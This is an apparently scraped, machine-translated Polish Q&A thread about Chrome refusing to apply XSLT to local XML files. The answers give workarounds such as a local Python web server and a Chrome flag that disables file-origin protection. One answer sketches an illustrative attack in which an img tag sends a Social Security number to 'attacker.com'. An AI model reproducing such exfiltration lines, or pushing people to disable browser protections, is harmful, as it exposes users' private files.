Czy Chrome może wykonać transformację XSL na pliku lokalnym?

Szukałem xslt i zacząłem testować z przykładami na w3schools.

Jednak, gdy zapiszę xml i xsl w plikach i spróbuję otworzyć je lokalnie, chrome nie wykona transformacji xsl. Pokazuje tylko pustą stronę.

Dodałem tag <?xml-stylesheet type="text/xsl" href="style.xsl"> do dokumentu xml i firefox renderuje go tak, jak powinien wyglądać. Ponadto, jeśli patrzę na pliki przez serwer WWW, chrome wyświetla plik tak, jak powinien wyglądać.

Czy chrome ma problem znajdowanie informacji o arkuszu stylów, gdy link jest lokalny? Zmiana href na file:///C:/xsl/style.xsl nie zrobiła żadnej różnicy.

Update: to wydaje się być efektem ubocznym polityki bezpieczeństwa , aby nie traktować pliku:///* jako tego samego pochodzenia. powoduje to, że w konsoli pojawia się następujący błąd:

Niebezpieczna próba załadowania pliku URL: / / / C: / xsl-RPG / style.xsl z ramki z plikiem URL: / / / C: / xsl-RPG / data.xml. Domeny, protokoły i porty muszą się zgadzać.

Author: nwellnhof, 2010-09-30

5 answers

Krótka odpowiedź to "nie, użyj jednego z różnych zestawów przeglądarek tam".

Powodem, dla którego to nie działa, jest troska o bezpieczeństwo, którą Chrome rozwiązał w kontrowersyjny sposób[1][2][3][4], blokując pliki XML w dostępie do lokalnych plików XSLT w tym samym katalogu, podczas gdy pliki HTML mogą mieć dostęp .Pliki CSS w tym samym katalogu po prostu dobrze.

W wyżej wymienionych kwestiach użytkownicy pytali aby uzyskać jaśniejszy komunikat o błędzie (ponieważ domeny, protokoły i porty faktycznie się zgadzają), lub przynajmniej wyświetlanie XML bez stylizacji. Deweloperzy Chrome zignorowali te żądania.

 55
Author: Zaz,
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2013-12-25 04:18:52

Możesz to zrobić lokalnie, używając FLAG wiersza poleceń Chrome.

Konkretna flaga to --allow-file-access-from-files

Na OS X: z terminala.app run /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

W systemie Windows: z wiersza polecenia Uruchom %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Uwaga: prawdopodobnie będziesz musiał zamknąć Chrome, jeśli jest aktualnie uruchomiony, w przeciwnym razie Ch

 48
Author: Jake Burton,
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2015-10-27 18:28:08

Jeśli chcesz trzymać się OP, odpowiedź brzmi nie (jak zauważyli inni), ale jednym ze sposobów rozwiązania problemu jest uruchomienie prostego serwera WWW i otwieranie plików przez http w chrome. Jeśli masz Pythona 2.X zainstalowany, można uruchomić serwer WWW wpisując:

python -m SimpleHTTPServer

Lub w Pythonie 3.x:

python3 -m http.server

A następnie otwórz plik używając http://localhost:8000/yourfile.xml w chrome. Mam nadzieję, że po prostu chcesz wykonać swoją pracę i nie jest to kluczowa rzecz, aby otworzyć plik za pomocą file://

 8
Author: morpheus,
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2017-02-26 21:39:14

Trzeba było trochę rozszyfrować na stronie błędów Chrome - bardzo chętnie nie wyjaśniają, na czym polega problem i dlaczego wybrali łamanie wszystkich, a nie nie łamanie wszystkich.

Załóżmy, że mam plik XML - gdzieś - na moim dysku twardym, np.:

C:\Users\Ian\Documents\Taxes\StudioTaxReturn_2015.xml

I złośliwy byt - jakoś - zdołał upuścić złośliwy plik Xml na mój komputer, np.:

C:\Users\Ian\AppData\LocalLow\Temp\TrojanVirusWorm.xml

Imagine TrojanVirusWorm.xml zawiera instrukcję przetwarzania arkusza stylów (PI):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

Atakujący poleca następnie przeglądarce przejście do lokalnie zapisanego pliku trojanVirusWorm.xml.

Najwyraźniej istnieje sposób, że plik XML może odczytać Zawartość pliku XSD (zamiast być przekształcany przez plik XSD):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

Nie rozumiem jak plik XML może odczytać plik arkusza stylów. Ale zespół Chrome zapewnia nas, że jest to zagrożenie i że nie można go rozwiązać.

Każda inna przeglądarka to rozwiązała. Rozwiązali to , ponieważ to nie jest problem .
 2
Author: Ian Boyd,
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2015-12-23 16:32:23

Moje obejście, aby zobaczyć xml zgodnie z plikiem xsl

Załóżmy, że mamy jakiś plik.xml z nagłówkami:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. pobieramy plik https://some-site.com/Common.xsl i umieszczamy go obok some_file.xml
  2. Zmień część naszego nagłówka z href="https://some-site.com/Common.xsl" na href="http://localhost:8001/Common.xsl"
  3. Uruchom w katalogu z naszymi plikami - python3 -m http.server 8001
  4. Otwórz w dowolnej przeglądarce http://localhost:8001/some_file.xml
 1
Author: Greg Eremeev,
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2018-06-27 11:52:26